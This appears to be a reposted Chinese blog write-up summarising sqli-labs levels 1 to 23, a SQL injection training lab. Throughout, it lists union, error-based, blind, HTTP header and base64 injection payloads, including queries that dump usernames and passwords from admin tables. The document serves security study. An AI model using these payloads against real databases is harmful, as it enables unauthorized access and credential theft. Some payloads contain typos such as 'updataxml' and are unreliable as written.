sqli-lab_基础篇_1-23做题反思
###################################################
sqli-lab 1-23做題反思
get 類
1-4題:聯(lián)合查詢:
特點(diǎn):輸入特殊符號(hào)有報(bào)錯(cuò)提示,并且可以聯(lián)合查詢
1.用符號(hào)閉合掉或者注釋符號(hào)即可/!!!猜測出數(shù)據(jù)類型!!!/
如
or 1=1
’ or 1=1# 和 'or ‘1’=‘1
’ or 1=1# 和 ‘)or (‘1’)=(‘1
" or 1=1# 和 ") or (“1”)=("1
%’ or 1=1# 和 %’ or ‘%1%’=’%1
…
2.可以使用聯(lián)合查詢
…
5-7題:報(bào)錯(cuò)注入
特點(diǎn):輸入特殊符號(hào)有報(bào)錯(cuò)提示,無法使用聯(lián)合查詢
通常數(shù)據(jù)類型也無法測試,所以需要猜測
如:'and updataxml(xxxxxxxxxxxxxxxxxxxx) and ‘1’='1
')updataxml(xxxxxxxxxxxxxxxxxxxx) and (‘1’)=('1
" updataxml(xxxxxxxxxxxxxxxxxxxx) and “1”="1
")updataxml(xxxxxxxxxxxxxxxxxxxx) and (“1”)=("1
…
8-10題:盲注
特點(diǎn):永遠(yuǎn)只返回真和假,沒有報(bào)錯(cuò)
布爾盲注:’ or length(database())>1------>都是先判斷字符類型
時(shí)間盲注:’ or sleep(5)------------------>都是先判斷字符類型
具體類型具體分析
…
post 類
…
11-12題:
聯(lián)合查詢:
跟get一樣
…
13-14題:
報(bào)錯(cuò):
跟get一樣
…
15-16題:
盲注:
跟get一樣
…
17題:
報(bào)錯(cuò)注入:
用戶處不能注入,但是密碼處可以,并且用戶要填寫正確
…
18-22題:
http頭部注入
特點(diǎn):通常都是使用報(bào)錯(cuò)注入
如:’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
') and extractvalue(1,concat(0x7e,database(),0x7e))#
…
user-agent:常規(guī)報(bào)錯(cuò)注入就可以,使用這條
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
referer:常規(guī)報(bào)錯(cuò)注入就可以,
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
cookie:常規(guī)報(bào)錯(cuò)注入就可以
base64注入:如果看到注入點(diǎn)是base64加密,哪我們注入的時(shí)候也加密就好
如:
JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
這個(gè)是轉(zhuǎn)成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 這個(gè)是沒轉(zhuǎn)的
###################################################
基礎(chǔ)篇總結(jié)
1.判斷注入類型,通常先用or(顯示更多數(shù)據(jù))再用and(正確返回正常,錯(cuò)誤返回不正常)。如果無法判斷且用單引號(hào)和雙引號(hào)和反斜杠有報(bào)錯(cuò)就使用報(bào)錯(cuò)注入即可
2.判斷成功以后,無非就是顯注(可以使用union聯(lián)合查詢)和盲注(真假,無報(bào)錯(cuò))
3.附上盲注,顯注,報(bào)錯(cuò)注入常用手段:
盲注
1.先判斷什么數(shù)據(jù)類型
再進(jìn)行下面的操作:
uname=8") or sleep(5)#
&passwd=9
&submit=Submit
uname=8") or length(database())>1#
&passwd=9
&submit=Submit
顯注入常用手段:
1.先判斷什么數(shù)據(jù)類型
再進(jìn)行下面的操作:
1.判斷列數(shù)
union select 1,2,3,… 直到頁面返回正常為止
2.判斷當(dāng)前數(shù)據(jù)庫
union select database(),2,3,4,5 1的位置將會(huì)返回?cái)?shù)據(jù)庫的名字
數(shù)據(jù)庫名 database()
數(shù)據(jù)庫版本 version()
數(shù)據(jù)庫用戶 user()
操作系統(tǒng) @@version_compile_os
3.查詢表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test’
//group_concat()使多行數(shù)據(jù)在一列顯示
4.查詢列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘a(chǎn)dmin’
5.查數(shù)據(jù) (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //將所有數(shù)據(jù)在一行顯示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因?yàn)榫W(wǎng)頁限制只能顯示一行數(shù)據(jù),所以顯示第一行數(shù)據(jù)
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root’) //把第一行的用戶排除掉,第二行自動(dòng)上來
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘a(chǎn)dmin’,‘root’) //看第三行數(shù)據(jù)
報(bào)錯(cuò)常用手段:
先附上一個(gè)報(bào)錯(cuò)注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#報(bào)錯(cuò)只能一次顯示- -行
可以使用1imit-次-次進(jìn)行獲取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入獲取到表名后,在獲取列明,思路是-樣的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI獲取到列名稱后,再來獲取數(shù)據(jù):
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘a(chǎn)dmin’ limit 0,1)),0) --+
總結(jié)
以上是生活随笔為你收集整理的sqli-lab_基础篇_1-23做题反思的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: sqli-lib1-36关 精选篇
- 下一篇: 1-35关精选篇